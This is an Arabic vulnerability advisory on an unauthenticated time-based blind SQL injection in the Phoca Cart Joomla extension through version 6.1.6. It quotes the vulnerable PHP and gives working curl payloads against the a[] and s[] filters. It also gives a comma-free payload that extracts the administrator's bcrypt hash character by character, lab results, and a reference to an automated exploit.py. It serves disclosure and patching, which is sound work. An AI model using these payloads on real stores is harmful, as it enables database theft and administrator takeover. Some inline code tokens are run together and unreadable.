
ثغرة حقن SQL بدون مصادقة عبر مرشح السمات في Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — مهاجم غير مُصادَق يستخرج قاعدة البيانات بالكامل عبر حقن أعمى قائم على الزمن
يتم دمج وسيطي مصفوفة GET هما a[] (الخاصية) وs[] (المواصفة) في صفحة عناصر المتجر العامة في Phoca Cart خامًا داخل جُمل SQL WHERE دون وسم (parameterization) أو تهريب (escaping). يمكن لمهاجم غير مُصادَق حقن SQL عشوائي عبر هذين الوسيطين، مما يتيح استخراج قاعدة البيانات بالكامل عبر تقنيات الحقن الأعمى القائمة على الزمن.
توجد الثغرة في getSqlPartsArray() داخل . تستدعي الدالة قبل بناء قائمة لكنها لا تُهرب القيم الناتجة أبدًا — لذلك يمر الحمولة الخالية من الفواصل كما هي إلى استعلام SQL. وبما أن تُستدعى مرتين لكل طلب ( + )، فإن حمولة تُحدث تأخيرًا ملحوظًا قدره ثانية، مما يجعل اكتشاف التوقيت موثوقًا للغاية.
admin/libraries/phocacart/search/search.phpexplode(',', $v)IN()getItemListQuery()getTotal()getItemList()SLEEP(N)2×N| المكوّن | معرّض للخطر | تم اختباره على | تم الإصلاح |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
النوع: حقن SQL — أعمى قائم على الزمن (CWE-89)
المصادقة المطلوبة: لا شيء — نقطة نهاية متاحة للعموم
الملف: admin/libraries/phocacart/search/search.php
يقرأ نموذج العناصر وسيطي a[] وs[] مباشرةً من طلب HTTP دون أي تنقية:
SITE/MODELS/ITEMS.PHP — LINE 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
تُمرَّر هذه القيم إلى getSqlPartsArray()، التي تقسم كل قيمة على الفواصل وتُدرج الأجزاء الناتجة مباشرةً داخل جملة IN() في SQL:
SEARCH.PHP — GETSQLPARTSARRAY() LINES 318–363 (VULNERABLE)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
يُدرج الجزء الناتج من SQL في الاستعلام الرئيسي:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
تطبق getActiveFilterValues() في filter.php الدالة filterValue($item, 'alphanumeric') على قيم a[]/s[] لطبقة العرض. غير أن getSqlPartsArray() تقرأ الوسيطات نفسها حديثًا من $app->getInput()->get('a', '', 'array') دون أي تنقية مطبَّقة، متجاوزةً بذلك حماية طبقة العرض بالكامل.
لا يتطلب أي مصادقة. عرض العناصر (/index.php?option=com_phocacart&view=items) متاح للعموم. لا حاجة لتكوين أي خصائص أو مواصفات في المتجر.
يمكن لمستخدم غير مُصادَق الوصول إلى بوابة التسوق دون أي بيانات اعتماد.

طلب خام تم التقاطه في Burp Suite — زمن الاستجابة الأساسي: 76ms.

a[])يُحقن حمولة SLEEP(3) عبر وسيط a[color]. وبما أن getItemListQuery() تُستدعى مرتين لكل طلب، فإن التأخير المتوقع هو 2 × 3 = 6s. الملاحظ: 7085ms — مؤكَّد.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

استبدال SLEEP(3) بـ SLEEP(0) يعيد الاستجابة فورًا (1064ms)، مما يؤكد أن التأخير ناتج عن SLEEP المحقون وليس عن ظروف الشبكة.

استخراج تجزئة bcrypt الخاصة بالمسؤول بايتًا واحدًا في كل مرة. قيد حاسم: explode(',', $v) يقسم على الفواصل قبل بناء SQL — يجب أن تستخدم الحمولات SUBSTRING(str FROM pos FOR len) (صيغة كلمات مفتاحية ANSI) لتجنب اقتطاع الفواصل، وكذلك CASE WHEN ... THEN ... ELSE ... END بدلاً من IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
تحقق معملي — أول 12 حرفًا من تجزئة bcrypt الخاصة بالمسؤول:
| الموضع | الحرف | ASCII | الاستجابة | تطابق |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
البادئة المستخرجة $2y$10$LNvt... — يمكن استعادة تجزئة bcrypt الكاملة المكوّنة من 60 حرفًا في حوالي 240 طلبًا.
يستخرج السكربت المرفق exploit.py تلقائيًا تجزئة كلمة مرور المسؤول بالكامل دون تكرار يدوي، مستخدمًا التقنية الزمنية نفسها أعلاه.
python exploit.py http://TARGET

com_phocacart مع واجهة أمامية عامة قابل للاستغلال.INSERT / UPDATE / DELETE عشوائية، بما في ذلك إنشاء حسابات مسؤول جديدة أو تعديل سجلات الطلبات.